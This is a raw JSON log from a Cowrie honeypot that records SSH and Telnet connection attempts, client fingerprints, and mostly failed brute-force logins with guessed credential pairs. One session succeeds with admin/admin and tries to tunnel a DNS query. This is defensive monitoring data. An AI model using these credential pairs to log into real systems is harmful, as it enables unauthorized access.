{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:48.222548Z","src_ip":"213.183.120.56","session":"2e2aa12a0299","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:48.405315Z","src_ip":"213.183.120.56","session":"2e2aa12a0299","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass123$","message":"login attempt [root/Pass123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:49.157141Z","src_ip":"213.183.120.56","session":"2e2aa12a0299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:49.343684Z","src_ip":"101.79.165.133","session":"d6f99bdee58c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:50.338424Z","src_ip":"213.183.120.56","session":"2e2aa12a0299","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":49742,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9b9d7fff642","protocol":"telnet","message":"New connection: 178.128.93.180:49742 (10.17.0.5:23) [session: d9b9d7fff642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:41:56.978774Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.18.161.165","src_port":57448,"dst_ip":"159.203.135.109","dst_port":22,"session":"d029b2f471af","protocol":"ssh","message":"New connection: 182.18.161.165:57448 (159.203.135.109:22) [session: d029b2f471af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:06.427193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:06.431762Z","src_ip":"182.18.161.165","session":"d029b2f471af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:06.660379Z","src_ip":"182.18.161.165","session":"d029b2f471af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aman","password":"aman@123","message":"login attempt [aman/aman@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:07.536531Z","src_ip":"182.18.161.165","session":"d029b2f471af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:08.751624Z","src_ip":"182.18.161.165","session":"d029b2f471af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45886,"dst_ip":"159.203.135.109","dst_port":23,"session":"7aaf1582d704","protocol":"telnet","message":"New connection: 69.4.83.194:45886 (159.203.135.109:23) [session: 7aaf1582d704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:22.824615Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46510,"dst_ip":"159.203.135.109","dst_port":23,"session":"085520519366","protocol":"telnet","message":"New connection: 69.4.83.194:46510 (159.203.135.109:23) [session: 085520519366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:24.459817Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.178.94.210","src_port":46380,"dst_ip":"159.203.135.109","dst_port":22,"session":"238e8ac385db","protocol":"ssh","message":"New connection: 180.178.94.210:46380 (159.203.135.109:22) [session: 238e8ac385db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:26.560329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:26.565273Z","src_ip":"180.178.94.210","session":"238e8ac385db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:26.817005Z","src_ip":"180.178.94.210","session":"238e8ac385db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@4321","message":"login attempt [root/Root@4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:27.868877Z","src_ip":"180.178.94.210","session":"238e8ac385db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:29.133174Z","src_ip":"180.178.94.210","session":"238e8ac385db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:30.263042Z","src_ip":"213.183.120.56","session":"75106e2879f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.50.25.190","src_port":39606,"dst_ip":"159.203.135.109","dst_port":22,"session":"d59dd99f2cfd","protocol":"ssh","message":"New connection: 27.50.25.190:39606 (159.203.135.109:22) [session: d59dd99f2cfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:46.869301Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":3870,"dst_ip":"10.17.0.5","dst_port":22,"session":"122fe0c2db80","protocol":"ssh","message":"New connection: 87.251.64.176:3870 (10.17.0.5:22) [session: 122fe0c2db80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:46.874684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:46.878482Z","src_ip":"27.50.25.190","session":"d59dd99f2cfd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:46.886156Z","src_ip":"87.251.64.176","session":"122fe0c2db80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:46.981633Z","src_ip":"87.251.64.176","session":"122fe0c2db80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:47.111808Z","src_ip":"27.50.25.190","session":"d59dd99f2cfd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:47.361489Z","src_ip":"87.251.64.176","session":"122fe0c2db80","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:47.458813Z","session":"122fe0c2db80","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:47.555794Z","src_ip":"87.251.64.176","session":"122fe0c2db80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:47.652851Z","src_ip":"87.251.64.176","session":"122fe0c2db80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"123123","message":"login attempt [x/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:48.062681Z","src_ip":"27.50.25.190","session":"d59dd99f2cfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:49.296627Z","src_ip":"27.50.25.190","session":"d59dd99f2cfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.66123056411743,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:56.485715Z","src_ip":"69.4.83.194","session":"7aaf1582d704","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.9193229675293,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:42:57.379012Z","src_ip":"69.4.83.194","session":"085520519366","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.194.4.255","src_port":45690,"dst_ip":"159.203.135.109","dst_port":22,"session":"59acca4f3298","protocol":"ssh","message":"New connection: 4.194.4.255:45690 (159.203.135.109:22) [session: 59acca4f3298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:02.644545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:02.658311Z","src_ip":"4.194.4.255","session":"59acca4f3298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:02.904130Z","src_ip":"4.194.4.255","session":"59acca4f3298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:03.914499Z","src_ip":"4.194.4.255","session":"59acca4f3298","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.183.120.56","src_port":54154,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc34ea720520","protocol":"ssh","message":"New connection: 213.183.120.56:54154 (159.203.135.109:22) [session: fc34ea720520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:04.258063Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:05.162622Z","src_ip":"4.194.4.255","session":"59acca4f3298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":91.32365703582764,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:05.956315Z","src_ip":"49.88.156.34","session":"906b05b2c8e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":25546,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7817bf08f17","protocol":"ssh","message":"New connection: 38.93.206.2:25546 (159.203.135.109:22) [session: c7817bf08f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:08.485186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:08.490539Z","src_ip":"38.93.206.2","session":"c7817bf08f17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:08.561076Z","src_ip":"38.93.206.2","session":"c7817bf08f17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cntgfyjd","message":"login attempt [root/cntgfyjd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:08.719844Z","src_ip":"38.93.206.2","session":"c7817bf08f17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:09.780212Z","src_ip":"38.93.206.2","session":"c7817bf08f17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":43422,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2cfc20226bb","protocol":"ssh","message":"New connection: 94.159.98.239:43422 (159.203.135.109:22) [session: d2cfc20226bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:10.848991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:10.929098Z","src_ip":"94.159.98.239","session":"d2cfc20226bb","protocol":"ssh"}
